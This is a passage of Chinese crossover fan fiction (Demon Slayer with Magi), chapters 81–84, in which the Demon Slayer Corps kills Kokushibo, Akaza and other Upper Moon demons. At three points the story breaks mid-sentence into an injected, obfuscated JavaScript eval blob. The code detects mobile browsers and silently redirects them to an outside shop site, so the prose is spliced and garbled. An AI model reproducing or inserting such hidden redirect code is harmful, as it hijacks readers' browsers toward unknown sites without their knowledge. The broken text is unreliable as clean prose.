红发少年握紧拳头,自信嚣张地看着自己面前的黑死牟,完全散去金光的他像是唤醒了另外一个人格,周身洋溢着浓厚的战斗意志。 现在的红诀,就和马尔巴士记忆中的法那利斯一模一样,是法那利斯纯粹的战斗色彩。 战斗和血液,才是他们渴望而兴奋的东西。 81.少年与僵局 夜空下的郊外,充斥兵器和□□碰撞的声音。 黑死牟手持着虚哭神去,谨慎地观察着周围。无数的月形利刃风暴中,一道红色的身影在其中若隐若现。红诀混杂在风暴中,气息沉稳,眼眸中红色与金色交融,像是有呼吸一般,带着特殊的节奏熠熠生光。 将反应完全交予本能的他,比之前的战斗更加自如,往往在攻击到来的前一刻就能率先察觉躲避。此刻的他就像是潜伏的野兽,紧盯着猎物的下一步举动。 明明存在感微弱,却带给黑死牟脊背发凉的刺痛感。这让黑死牟不由得皱紧了眉,虽然他成功攻击到了红诀,但此刻的处境,他没发现一点有利于自己的趋势。 他好像,唤醒了不得了的东西。 在他思考的下一刻,潜伏在风暴的红色野兽终于露出了他的獠牙。只见一阵疾风掠过,轰地一声,属于红诀的拳头硬生生轰碎了黑死牟虚哭神去上的几枚利刃。 断裂的利刃分散到四周,又被月形利刃风暴卷入,汇聚其中。 而黑死牟只能持刀抵挡这宛若千钧的拳头,刀刃上传来的强烈力道让双方都颤抖着手。黑死牟红色的眼眸中,位于通透世界视野下的红发少年,其□□散发着勃勃生机。 看似流畅平静的肌肉走向,却又在不经意间突然紧缩牵拉,霎时爆发出令人措手不及的攻击。 没用,黑死牟第一次察觉到自己引以为傲,示为武学巅峰的通透世界在此刻发挥不出作用。 不,不是通透世界没用,是自己的反应太慢了! 又一次被红诀的攻击击中后,黑死牟咬紧牙关承受着那一拳重击,血肉在洞穿的瞬间又愈合如初。感受那贯穿肺腑的攻击,黑死牟在数百年后又一次有了巨大的不甘心。 这般怪物,为什么在鬼杀队。 明明自己看到了,提前预知到攻击是由哪只手发动的,却始终慢了一步。尽管自己已经生存了数百年,成为不死不灭的恶鬼,也没能拥有这般的□□强度吗? 这等与生俱来的天赋,真是令人不甘心又可恨。 渐渐消散的风暴中,彻底顿悟的红诀醍醐灌顶一般,以往积累的经验,以及身体所记忆的各种招式在此刻真正融为了一体,发挥出比一加一更加强悍的作用。 缓慢的呼吸之中,沙之呼吸六之型与七之型的效果交错在他身体上浮现,招式之间的衔接十分自如,让他在黑死牟的眼中更加捉摸不定,几次的攻击都被红诀躲过,又被其反击。 “沙之呼吸,四之型,沙噬。” 没有日轮刀,使用双拳的红发少年拳头泛着金光,左右交错的双拳带着残影在黑死牟的肩上留下重击。瞬间形成的伤口有效地拖慢了黑死牟的恢复速度。 短短几秒,两人的过招出现了上百次,冷静张扬的少年抿着唇对自己身上密密麻麻的伤口视而不见,长满利刃的武士冷着眼承受着少年一往无前的攻击。 砰地一声,黑死牟胸膛上的利刃密密麻麻地布满整个肩部,却在红诀的攻击之下显得不堪一击。他正欲反击,却动作一顿。 毫秒之中,黑死牟看着眼前明明已经肺部出现损伤的少年,后知后觉地发现那被拖慢的伤口恢复在这瞬间成为了致命的错误。 他眼角的余光看着自己的身体,发现自身的血肉像是被无形的丝线所缠绕一般,僵硬又无法动弹。 而在他看不见的另一层世界中,黑死牟鲜红的血肉中掺杂着几缕金丝,那是由红诀之前攻击留下的金点汇聚而成的,在他没发觉的时候,金点逐渐汇聚成丝,再形成面。 什么时候!? 悄然形成的金阵将黑死牟试图阻拦的利刃捆在皮肤之下,只能仍由那犀利的拳风袭向薄弱的颈部。无法回防的黑死牟只能眼睁睁地看着红发少年几拳轰掉了自己半边脖子。 那奇异的金色力量牢牢锁住了黑死牟自发想要愈合的生命力量,与其展开了博弈。 自己的弱点暴露的瞬间,黑死牟久违地感受到了恐慌和窒息。从战斗开始就一直未荡起波澜的心第一次乱了。他奋力想要将自己手中的虚哭神去割断红诀那向自己张开的手,妄图阻止其再次将自己脑袋分家的举动。 无碍,他没有日轮刀,只有不是被日轮刀所斩首,恢复愈合是瞬间的事情。 黑死牟安慰地想着。 看着黑死牟如自己预想一般选择攻击自己,红诀嘴边却扬起一抹狡黠的微笑。在红发少年嘴角勾起的瞬间,黑死牟顿感不妙。 下一刻,翠绿色的日轮刀续上了红诀未完成的那一击,就像是刚刚半天狗泯灭的那一刻一样,鬼杀队的柱们再次完成了接力。 “下地狱去吧!狗屎垃圾混蛋!” 本该在另一战场的不死川突然出现在黑死牟的后面,刷地一声,刀光和刀鸣共起。 黑死牟才发现在不知不觉中,两个战场已经逐步重合。 在他和红诀拉扯的间隙,那两名柱和猗窝座的战斗也进入了后程。已经和炼狱及不死川打得兴奋的猗窝座也忽略了这一细节,察觉不对劲的那一刻,他嘴里叫嚣着让炼狱成为恶鬼的话语也失了声。 而穿着披风的炼狱稳稳地拦着猗窝座的攻击,默契地与不死川交换了方位,为最擅长把握时机的同僚了却了后顾之忧。 明明没有交谈,三人之间却默契地达成了一致。无论是放手一博的红诀,还是清除阻碍的炼狱,都把刀递给了不死川。 真是纯粹的情感…… 黑死牟感受着想要再次自爆的躯体被红诀种下的魔阵牢牢束缚住,脑海中思绪飞散,几番轮转。 原来是这样,你是这样的打算吗…… 先是引导自己攻击,再是约束自己发动血鬼术。 黑死牟看着自己的虚哭神去在没入红诀手臂的半途中停下,心中又多了几分不甘。已经头首分离的他恍惚间像是又看见了数百年前那个明明满头银发,却持刀站得笔直的男人,内心汹涌的情感再度翻涌起来。 这不是终点! 手起刀落的不死川正欲回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223392|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向化为灰烬的上弦壹,却突然感受到直冲头顶的危机感。 “红诀!” 他愕然回头,发现那已经被自己斩首的上弦壹又长出了一个头颅,满是獠牙的恶鬼摇晃着新生的头颅,面部狰狞地一口咬在了红发少年的肩部。 噗嗤一声,红发少年的肩部顿时鲜血淋漓。 黑死牟没有随着日轮刀的斩首而消散,被砍断脖子便会消散的极限,在此刻被彻底打破。 战斗,陷入了新一轮的僵局。 ****** 另一边,月色高升的产屋敷宅邸,无数鎹鸦汇聚在庭院,产屋敷夫妇的几名孩子正有序地接收分类受到的所有信件,步履匆匆地递给已经淹没在书信之中的产屋敷耀哉。 坐在铺满信纸的榻榻米上的产屋敷耀哉脑袋飞速运转,不断思考着破局的可能,胸腔中的孱弱心脏急速跳动。 寂静的道场内,产屋敷姐妹无机质的声音在道场内回荡。 “锻刀村已发觉上弦伍玉壶的本体,被玉壶血鬼术突然袭击的铁洞井峰岩锻造屋已经得到隐的救援,大量幸存的村民被转移安置刀安全的地点。” “霞柱时透无一郎和蛇柱伊黑小芭内正与上弦伍玉壶战斗中。” “花街传来消息,幸存的普通人已经在雏鹤、须磨、牧绪和隐等队员的努力下成功转移。上弦陆在花柱蝴蝶香奈惠和音柱宇髓天元的合力下顺利击杀。” “百毒系列武器效果惊人。” “虫柱蝴蝶忍和恋柱甘露寺蜜璃在与上弦贰童磨的战斗中受伤严重,但仍在坚持。” “各地爆发的大规模鬼潮在其他几名柱的共同压制下缓解了趋势。水柱锖兔和义勇距离花街最近,风柱粂野匡近位于花街与锻刀村之间,岩柱悲鸣屿行冥如今正向北方移动。” 伴随着产屋敷姐妹的声音,各地爆发的战斗情报汇聚在产屋敷耀哉的脑海里,其脑海中那张各地的人员分布图逐步填充上更多的讯息。 在整合归纳后,产屋敷耀哉微抿着唇,接二连三传来的好消息暂时安抚了他焦急不安的内心。虽然已经提前做了先手,但要在如此短的时间内,整合一切与鬼舞辻无惨博弈,每一步都非常慎重。 没有牺牲的消息传来,已经是最好的消息了。 “安排锖兔和义勇前往花街支援,粂野匡近暂时待命。” 产屋敷耀哉冷静地安排到,他一一思考着鬼舞辻无惨最终的目的,思索着鬼舞辻无惨的下一步棋。锻刀村和花街的局势尚且可以控制,北边不死川和炼狱已经前去支援。 在锻刀村和花街消息还没有传来之前,他就已经接受到了北方的情报。上弦肆半天狗已经消灭。前去支援的风柱不死川实祢,炎柱炼狱杏寿郎已经顺利达到战场,沙柱红诀将与其他二人一起对抗上弦壹和上弦叁。 只是,已经过了有一段时间,怎么北边还没有传来消息。思及他早前的推测,他出声询问道,“北方红诀那边没有传来消息吗?” “没有。” 82.少年与战局颠倒 吉原花街,昔日繁华的街道已经化为一片废墟,冰晶与烟雾混杂在一起,浓郁的血腥味充斥整个战场。 经历几个小时的血战,鬼杀队四人已经浑身浴血。 就近与上弦陆妓夫太郎搏斗的宇髓天元更是胳膊上血肉模糊,即使有蝴蝶忍提前准备的抑制剂在,妓夫太郎的毒素仍有残余,点点黑色像淤血一般凝聚在他白皙的肌肤之下,被血液藏着,分辨不出严重程度。 负责牵制和协助的花柱蝴蝶香奈惠也是受伤严重,为能与宇髓天元同时斩下上弦陆兄妹的头颅,她甚至给堕姬卖了个破绽,以肩部被洞穿的代价顺利砍下堕姬的头颅。 而与上弦贰周旋的虫柱蝴蝶忍和花柱甘露寺蜜璃则是呼吸困难,长久的战斗和激素的作用下,他们体内解毒和抑制剂的作用正被逐步代谢掉。 她们二人的肺部损伤严重,呼吸之间带着血腥味和冰凉感,手脚也越发沉重。 蝴蝶忍微眯着被血液浸透的双眼,呼吸急促。透过遮挡视线的烟雾和冰晶,她能看到被围攻的上弦贰童磨浑身上下也没有一处好肉。 在百毒武器的作用下,他的恢复速度被抑制。总是整洁的红黑色教主服已经破烂不堪,身上密密麻麻都是日轮刀留下的痕迹。 甘露寺蜜璃那柔韧性十足刀刃造成的割伤,蝴蝶忍藏有毒素刃尖所造成的刺伤,宇髓天元力道十足的砍伤,以及蝴蝶香奈惠华丽剑技造成的贯穿伤。 这等伤势下,童磨身上的血肉仍在蠕动,即使恢复愈合速度缓慢,但比起人类身躯的鬼杀队四名柱,他的余力更足。如果要这样耗下去,鬼杀队的四人会率先战败。 关于这一点,在场的四人一鬼都清楚。 童磨那边是什么打算,蝴蝶忍她们不用思考也明白。对于她们四人来说,这次战斗没有侥幸可言。她们几人的身体已经破破烂烂,即使四人都在极限之中开了斑纹,但对上上弦贰,她们的胜算更小。 没有时间犹豫,只要身体还有一丝力气,她们几个都会不断挥舞起手中的日轮刀。 蝴蝶忍握紧自己手中的日轮刀,强忍着身体的颤抖平复自己的呼吸和内心。 她单手摸向自己的腰间,在那里,被血液浸透的小腰包内,还有最后一管试剂。其中混杂了她自己研究提取的高浓度紫藤花毒素以及红诀的血液。 那是她最后的手段,只要能把那管试剂融入上弦贰的体内,她们就有胜算。 冷静下来,蝴蝶忍,寻找能够接近上弦贰的方法。 血色的视野内,蝴蝶忍不断告诉自己。 思考起来,行动起来。 肃穆的战场上,空气在此刻变得稀薄起来,沉重急促的呼吸之下,宇髓天元几人内心的想法在绝境之下得到共频。 没有人说话,只是当第一声刀鸣响起,就有其余三声紧随其后。 刀光亮起的那一刻,战斗的硝烟再一次点燃。同时起步的四人挥舞着手里的日轮刀齐齐向上弦贰攻去。修习音之呼吸的宇髓天元冲在最前面,他的正上方,甘露寺蜜璃高高跃起,长长的刃身环绕周围,在她灵巧的手腕作用下密不通风地往童磨头上罩去。 “音之呼吸,四之型,响斩无间!” “恋之呼吸,三之型,恋猫时雨!” 爆裂的双刀挥舞在宇髓天元两侧,劈天盖地的软刃封锁住上弦贰的上方。一时间,音律与舞曲齐鸣,华丽又炫彩。暴力与美学色彩在此间上演,童磨的视野全被烟花和刃影所占据。 这等美景,让百年来见惯各种舞姬表演的他都不由得赞叹。 但他的眼神只停留在美景上面一瞬便去寻找那对蝴蝶姐妹俩,他可没有忘记那对姐妹俩的难缠程度。特别是更小的那个女孩子,自己已经在她身上栽了不少跟头。 “花之呼吸,四之型,红花衣!” 还没等他寻得两人身影,蝴蝶香奈惠那芬芳馥郁的剑技便从侧面袭来。哐当一声,几人的攻击都被上弦贰的铁扇挡住,在挡住的一瞬间,他的身上顿时长出冰藤蔓,缠向自己暴露弱点的背后。 “抓住你了!” 感受到缠绕的实感,童磨自信满满地看向后方,原以为能看到蝴蝶忍被冰藤蔓缠绕困住的美景,却只看到晶莹剔透的冰藤蔓中捆着一包破烂的衣物。 !?没有…… 惊诧之间,一只攥紧药剂的手从蝴蝶香奈惠和宇髓天元的中间突然窜出来,药剂与利刃一起以刁钻的角度捅进了童磨身上的伤口之中,发出扑哧一声。 感受到疼痛,童磨的眼神下移,才看到他原以为会和其余三人四面攻来的蝴蝶忍的所在处,她将自己隐藏在同伴的身影之下,借着童磨思维的惯性和周遭的各种有利条件,彻彻底底地再一次骗住了上弦贰。 “是我抓住你了,鬼先生。” 少女的声音轻柔却带着满满的嘲讽意味,刀刃和手掌抽出的声音紧随其后,见到蝴蝶忍手里破碎的药剂瓶,童磨的心都冷了。 有什么东西,被眼前这个少女投入到自己的体内。他惊诧地看着眼前浴血的几人,后知后觉地发现,刚刚蝴蝶香奈惠那慢一步的行动,是早有预谋。 战局,颠倒了。 ****** 北边,在距离红诀他们与黑死牟、猗窝座交战的千米开外,一处仍亮着灯光的住宅内。 一名蓝色头发的少年正蹲在屋内的长廊尽头,他的额头处贴着一张画着眼睛的符咒,手里轻轻地抚摸着窝在地上的三花猫。 摸猫的少年正是愈史郎,他紧闭的双眼之下,眼珠正在剧烈的颤抖着,像是看到了什么心惊胆战的场面,额间更是冷汗淋漓。 “愈史郎。” 从长廊尽头传来一声呼唤,珠世柔声叫着少年的名字,刚结束工作的她从地下室上来,四处寻找着不见的少年。 听到珠世的呼唤,愈史郎猛地睁开了双眼,他摸着三花猫的双手死死攥紧,快速抬手将自己额头上的符咒一把拽下。 “珠世大人,我在这里。” 努力平复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273720|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心情的少年站直身子,眼神乱晃地看向窗外寂静的街道,有所掩饰回应珠世的呼唤。 “原来你在这里。”循着声音找来的珠世看见站在窗边的少年,笑着朝少年走过来。“你在这里看什么?” 察觉到自己心爱的珠世大人的靠近,愈史郎原本的心思渐渐平复下来,换做另类的激动和兴奋,他用眼角的余光看着一步步走近的珠世。 “没什么,珠世大人,只是看着窗外的行人而已。” “行人?这个时间,怎么会有……” 珠世不解地问,视线顺着愈史郎头的朝向看去。她本想说这个时间会有什么行人,却在看到街上一道急匆匆的身影后噤了声。 只见空旷寂静的街道上,一道身达两尺的身影正步履匆匆地奔跑在街道上,其背后背着刀斧和流星锤,快速朝着郊外奔去。 “珠世大人?”发觉身侧的珠世没了动静,愈史郎收回了自己停在珠世的视线,往下一看,也和珠世一样发现了那道身影。 “那是鬼杀队的人。”珠世皱着眉开口道,只是一眼,她便知道那人的身份。依据那身量和气势,那人在鬼杀队的身份绝对不低。 只是,鬼杀队那人出现在这里,难不成发生了什么大事? 闻言,愈史郎突然攥紧了自己手心的符咒,他看着街上远去的身影和刚刚透过视觉共享看到的东西,不由得吞咽了下口水。 他当然知道那人为什么会出现在这里,想起郊外的那处激烈的战场,他深吸了口气,开口向自己敬爱的珠世大人说道—— “珠世大人,距离这里不远处的郊外,正在发生一场战斗。” “是鬼杀队的人与上弦壹、上弦叁的。” 少年从背后拿出符咒,递给了温婉的女人。 “我觉得是您想要知道了解的东西。” 少年手心的符咒上画的眼睛线条简单。珠世是知道愈史郎的血鬼术的,透过着小小的符咒,她就能共享愈史郎的视野,包括远在郊外发生的一切。 珠世看着远去的身影,抿着唇拿起符咒,贴在了自己的额头处。在符咒贴到额头上的那一刻,她眼前的视野顿时转换,清澈的紫色眼眸中,倒映着一片尘土飞扬的空地。 隔着很远的距离,她能看清,在空地的中央,一名红发少年正被长满利刃的恶鬼死死咬住肩部。 少年站在被血液染成红色的沙土之上,抬手扒住了身上恶鬼的头发,狠狠地将还在吞咽的恶鬼扯了下来。少年眼睛微抬,不知是巧合和似有所感,他的眼神看向了被愈史郎施展血鬼术的麻雀藏匿的方向。 珠世的眼睫微颤,下一秒,她对上了那名红发少年的眼神。 那是一双写满疯狂之色的眼睛,红色的眼眸中,金色宛若流沙一样在虹膜中流动。 是他,那个在医院门口发现她的窥探视线的敏锐少年。 而他的对手,竟然是上弦壹和上弦叁。 发生了什么事情,鬼舞辻无惨竟然会派两名上弦出手…… 83.少年与尾声 郊外,红发少年将黑死牟的头用力扯开。恶鬼的吞咽声伴随着撕扯声停止,当红诀和黑死牟拉开距离时,淋漓的血液喷洒开来,瞬间染红两人身上的衣物。 “红诀!” 不死川想要折返过来协助红诀,却被一旁反应过来的猗窝座阻止,只见猗窝座脚底雪花状的术式熠熠发光,迅捷的攻击三两下隔开不死川和红诀之间的距离,两个战场又一次分开来。 另一边,重新长出头颅,突破极限的黑死牟面部狰狞,满脸都是獠牙。整个样貌和原本冷静自持的武士完全不同,已经完全变成恶鬼的模样。 黑死牟的喉咙上下吞咽,将属于红诀身上的血液吞咽入肚。喉间鲜甜的血液可口又极富有力量,只是几口,他便能感受到自身力量的恢复,就连被红发少年用奇异力量所伤的伤口也再逐渐恢复。 原来鬼舞辻无惨想抓红诀的原因,是这个。 黑死牟后知后觉地想。 他突然想起在那次上弦会议集合时童磨的表情,想必对于眼前这名少年的特殊性,他也是有所了解了。至于为什么主动揽下充当诱饵的责任,怕是真如猗窝座所说,是怕了红发少年。 那时的童磨是怎么说的,对了,说是的确有些棘手。 棘手?两三年过去了,现在站在他面前的少年可不能用棘手来形容了。 能把自己逼到这个程度,可不是什么简单的少年。 黑死牟感受体内被削弱毁坏的部分在逐步转好,又看了眼前浑身浴血的少年。对原本只当是执行任务的这趟战斗渐渐有了自己的心思。 一人一鬼对峙数秒,被毁坏得一片狼藉的空地上,属于人类一方的鬼杀队已经遍体鳞伤。先不论被黑死牟咬伤肩部的红诀,和猗窝座对战许久的炼狱和不死川身上的伤势也不容乐观。 炼狱的侧腰被猗窝座的破坏式击中,内脏已经出现损伤。不死川的左臂已经骨折,只能勉强用右手持刀。 刚刚面对黑死牟使出的配合,实属于放手一搏的决策。 人类□□所呈现在表面的极限,赤裸裸摊开在这场战局里。 [你想怎么做?] 从红诀改变体内的魔纹回路开始,一直没有说话的马尔巴士在此刻开了口。 他坐于无数摊开的书籍之中,面露凝重地看着红诀体内的情况。 只见,红发少年鲜活的躯体内,金色的流光构成精简的纹路,随着少年的呼吸不断发展、衍生、变化,源源不断输送着几乎要榨干红诀自身的魔神之力。 马尔巴士蓝色的魔眼中,小小人类的头顶正高悬着宛如蛛丝一般的规则之力,仿佛下一刻就要将少年吞噬殆尽。而少年的外围正散发着莹白色的微光,一闪一闪抵挡着这虎视眈眈的规则之力。 而这股力量,正是一直没有动静的愿力。 一直没有任何明显反应的愿力,在红诀真正融合自身经验的这一刻主动出手了。 就像是一直以来的桎梏被突破,又像是红诀真正的考验终于通过。那股贸然带着少年来到异界的愿力,或许在此刻才开始真正暴露自己的目的。 为何会找到红诀,又为何在此刻才主动出手。 她想要干什么? 蓝色的魔神皱眉思考着,他的真实之眼只能堪破属于自己世界的秘密,越过世界之外的一切因果,不是他的真实之眼能堪破的存在。 [自然是利用一切能利用的东西。]红诀轻轻呼出一口浑浊的气体,放空着自己的肺部。黑死牟突破极限是他们没能预料到的发展状况。 日轮刀对其造成的斩首伤害已经无效,尽管能再一次进行配合将其斩首,也不能保证能一击必杀。 况且,他们这几个人也撑不了很久。 红诀抬头看了眼天色,此时距离天亮还有一段时间。 日轮刀不行,那就利用别的力量。 红诀回想着近来马尔巴士在空闲时给自己科普的种种魔阵知识,搭在身侧的手指一动,带动血滴落在沙土之中。 血滴没入土地。 滴答,几乎听不见的滴落声响起。下一刻,红发少年的身形猛地一动,沙之呼吸七之型的沙隐效果瞬间触发。红诀以迅雷不及掩耳之势靠近黑死牟,利落地挥动自己的拳头轰击在黑死牟身上。 身上那严重的伤势丝毫没有妨碍他的攻击速度和力道。 转眼之间,红诀和黑死牟又战在一起。轰击声不断响起,带动的气劲将四周的沙土扬至空中,只留刀光和气流的踪迹。 咔嚓一声,黑死牟躲过红诀的拳头,却没避过他的踢击。强悍的脚力一下将其踢飞,重重落在地上。胸骨的大面积骨折在告诉着双方这一脚的伤害。 “咳咳……” 黑死牟扶着胸口呕出一口鲜血,有些塌陷的胸口在几息之间再度隆起,恶鬼强悍的愈合速度将伤势复原。 他将虚哭神去横在身前,正欲上前挥刀攻击红诀。 只是在他抬脚的瞬间,悬在半空中的脚却始终落不下去。咯吱咯吱的声音在云遮盖下的黑暗之中响起,令人毛骨悚然。 “你……做了什么?” 月光不能照射到的区域,黑死牟奋力想要掌握自己躯体的掌控权,却无法落下那一步。他的整个身体,像是被操控一般,无形的人偶之线吊起他的手脚,让他寸步难行。 黑死牟的话音未落,头顶高悬的月光终于从云层中露出,重新照亮这一片区域。 同时月光也照亮了红诀此时的模样。 红发少年的红发已经几乎变成金色,他嘴边溢血,明明没有再添新的重伤,看起来却比黑死牟还要狼狈和虚弱。金色的裂纹已经布满他的两只手,他尝试往前一步,却像千钧重一样,额角青筋暴起。 [中型魔法……] 马尔巴士看着眼前的一切,声音沙哑。 与红诀、黑死牟不同,他眼中的世界,不止有他们之间的战场,还有规则之力与愿力的战场。 明明已经超过他所计算的能使用魔神之力的范围,红诀体内却没有受到规则之力的入侵。一直沉浸在红诀体内的愿力终于彰显了它应有的力量。 莹白色的愿力密不透风地包裹住红诀的身体,将规则之力的入侵和攻击统统抵挡在外。 只是使用魔神之力所消耗的代价以及愿力抵御的等价效果,让红诀的躯体出现了损害,二者所需要、提取的精力已经超越身体的极限,让身体出现了崩坏的趋势。 但,还在可以控制的范围。 看到这一幕,马尔巴士喉间酸涩,脑里只有两个想法。 一是,红诀这个臭小子干嘛又这么天赋异禀。 二是,愿力老妹早干嘛去了。 他环顾四周的书籍,看着这些日子自己奋斗的痕迹,胸口一阵绞痛。 他悔啊! 月光之下,无形使用出中型魔法的红诀咬紧牙关,眼睛死死看着黑死牟的方向。 在刚刚的战斗中,他借着近身战斗,采用类似与给产屋敷耀哉压制诅咒的做法,将魔神之力通过攻击打入黑死牟体内。然后在恰当的时机,在他体内和周围构成魔阵,操控黑死牟的行动。 但不同于给产屋敷耀哉压制诅咒所用的魔法,现在所需要的魔神之力、体力、精力是那时的数百倍不止。这类魔法是他之前所不能施展的,因为他没有如今操控魔神之力的精度。 中型魔法带来的副作用还在他的预料之中。 红诀感受自己身体的沉重和迟钝,深知能困住黑死牟的时间有限。 已经过去了两秒钟,快没有时间了。 红发少年挣扎着向黑死牟靠去,他的步伐从慢到快,像是挣脱了什么猛虎一样朝黑死牟扑来。 看着眼前一步步靠近的少年,黑死牟用力挣扎着,心中不详的预感在告诉他,要赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327451|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挣脱,不然…… 不然,他就会死! 三秒、四秒、五秒。 红诀终于来到黑死牟眼前,他的左腿高高扬起,在黑死牟不可置信的眼中袭向他的头颅。 六秒。 黑死牟挣脱了红诀的束缚。 六秒半。 红诀的踢击已经触及了他的额头。 “你不能……” 黑死牟想要自爆,却没有看到在他体内的金色魔神之力已经全部涌至他的头部,下一瞬,猛烈的踢击和魔神之力内外一起将他狰狞的头踢得粉碎。 感受到自己已经遭受到红诀的攻击,黑死牟又一次鼓动自己颈部的血肉,妄想再次重生,却被残留在颈部的魔神之力扼住了生长趋势。 我还可以! 他无声的呐喊在内心迸发,摇摇晃晃的躯体漫无目的地朝前迈了一步。下一秒,一柄拐刃由上至下捅进他的颈部。红诀喘着粗气握紧手中的武器,巨大的握力一度使刃身闪过一抹红色。 哗啦啦。 身体瓦解化作沙砾灰尘的声音响起,彻底告吹了黑死牟想要再度重生的想法。 感受到身体的瓦解,黑死牟的动作一顿,无头的躯体最终颓然向前倒去,无数的灰烬留恋般地停留在他的腰间。 残余的衣物落在地上,从层层叠叠的衣物之中,缓缓滚出几截断裂的笛子,上面已有岁月的痕迹,却不失时常擦拭的光泽感。 缘一…… 在上弦壹黑死牟落败的同一时间,炼狱、不死川与猗窝座的战斗也进入了尾声。在红诀发动中型魔法的同一时间,他曾留在猗窝座体内的魔神之力也对其的行动进行了阻碍。 炼狱和不死川抓住猗窝座迟钝的瞬间,两人合力砍向猗窝座的颈部。有了黑死牟被砍断头颅却能再度复生的前车之鉴,炼狱和不死川刀刃互相碰撞地对猗窝座的颈部发出多重斩击。 生怕砍得不够彻底。 而在他们没有发觉的角度,两人的刀刃碰撞曾一度发红,带给猗窝座强烈的灼烧感,就和阳光一般。 在看到猗窝座的颈部血肉涌动时,炼狱还朝那里又添了一刀。 赫刀带来的效果堪比阳光带来的威力,付诸在颈部的赫刀效果阻碍了猗窝座的再生之力。 “到此为止吧!” 炼狱沉声喝道。 他的刀带着火焰的温暖,夹杂着不死川凛冽的凉风。在猗窝座濒死之际带来了陌生的熟悉感,恍惚之间,他似乎看见了一抹粉色身影,又听见道场内拳拳相碰的声音。 微风拂面,阳光和煦。 还有心头强烈的暖意和动力。 他好像……忘记了什么东西…… 猗窝座瓦解的灰烬飞扬在空中,让负伤的红诀三人竟感觉一丝悲哀。 灰烬散去,留下的获胜方三人始终提着的一口气也终于放下。 扑通一声,不死川脱力瘫坐在地,他一下仰躺在地上,不管身上还在流血的伤口和强烈的疼痛,胸口大幅度起伏着。 炼狱也以刀撑着自己,肾上激素渐渐下降后,他的脸色变得煞白,额间冷汗直流,嘴边还溢出鲜血。 其他两人或躺或半跪,只有红诀还握着手里的几截笛子站在原地,只是身形的颤抖在告诉旁人他自己的情况也不好。 同一时间。 花街的冰雾海在天亮前消散,漫天的冰晶碎落在地,散落的灰烬以及倒地的四人,宣告了这场战斗的结局。 更远处的锻刀村,呼声连天,林间浓烈的鱼腥味也逐渐消散。听着锻造屋处传来的欢呼声,时透和伊黑收起了自己的日轮刀,互相搀扶着朝村民们所在的方向走去。 在天亮来临之前,产屋敷耀哉和鬼舞辻无惨的对弈也落下帷幕。 鬼杀队无人牺牲,上弦之鬼全灭。 数百年来的局势,在阳光的见证下,迎来翻转和变革。 84.少年与重聚 上弦壹和上弦叁的死亡场景,给珠世留下了非常深刻的印象。 她有些颤抖地摘下贴在额头处的符咒,但即使闭上了自己的双眼,郊外那场战斗还是在她黑暗的视线中一遍遍重演。 “珠世大人?” 身侧的愈史郎看着珠世不平静的模样,不由得轻声询问道。 “我没事,愈史郎。” 珠世的嗓音带些颤抖,她攥紧自己手里的符咒,内心汹涌澎湃。 上弦壹和上弦叁死了…… 和她一样活了数百年,不死不灭的恶鬼在今夜迎来了他们生命的终点。想到这一点,珠世更是深吸一口气,呼吸均匀吐出的瞬间,她感受到长期积压在自己内心的愁绪和恨意得到了缓解。 曾背叛过鬼舞辻无惨,与当时鬼杀队合作的她自然知道上弦壹和上弦叁死亡对鬼舞辻无惨是什么坏消息。长久以来,她和愈史郎一直躲避着鬼舞辻无惨的探查和抓捕。 上弦的死亡,是她得以松口气的好消息,也是她向鬼舞辻无惨复仇的好时机。 上弦鬼的培养和成长并不能在短时间内实现,即使鬼舞辻无惨现在利用自己的血液强行培养上弦鬼,也不能再度拥有如以前那般的强悍随从。 只要那个胆小鬼不像之前一样躲起来,现在就是消灭鬼舞辻无惨的最好时机。 而这一点,当今鬼杀队的主公也明白。 他和自己都一样,都在等待这一时机。 看来,自己或许应该去试着接触一下这一届的鬼杀队了。 珠世眉眼低垂,垂于身体两侧的双手握紧成拳,竭力压制自己内心澎湃的恨意和冲动。待心情平复后,她深深地看一眼郊外的方向。 温婉的声音带着坚定,“愈史郎,我们该行动起来了。” 不远处,郊外。 红诀和不死川、炼狱三人还瘫在地面上嘶牙咧嘴,被自己身上的伤口疼得唉声叹气。 砰砰砰,空地边缘的树林中传来沉重的脚步声。 听到声音的那一刻,红诀三人立马警惕起来。 待三人齐齐望去,看到的就是姗姗来迟的岩柱悲鸣屿行冥。 到达已经恢复平静的战场,悲鸣屿行冥堵在胸口的一口气还没缓过来,便气喘吁吁地问:“你们没事吧?” 不死川看到来人是悲鸣屿行冥,警惕的神经瞬间松懈,他砰地一声躺在地上,气若悬丝地说:“啊,半死不活了。” 红诀更是嘴边溢血,看似轻飘飘的身体摇晃几下,被紧张的悲鸣屿行冥一把接住。 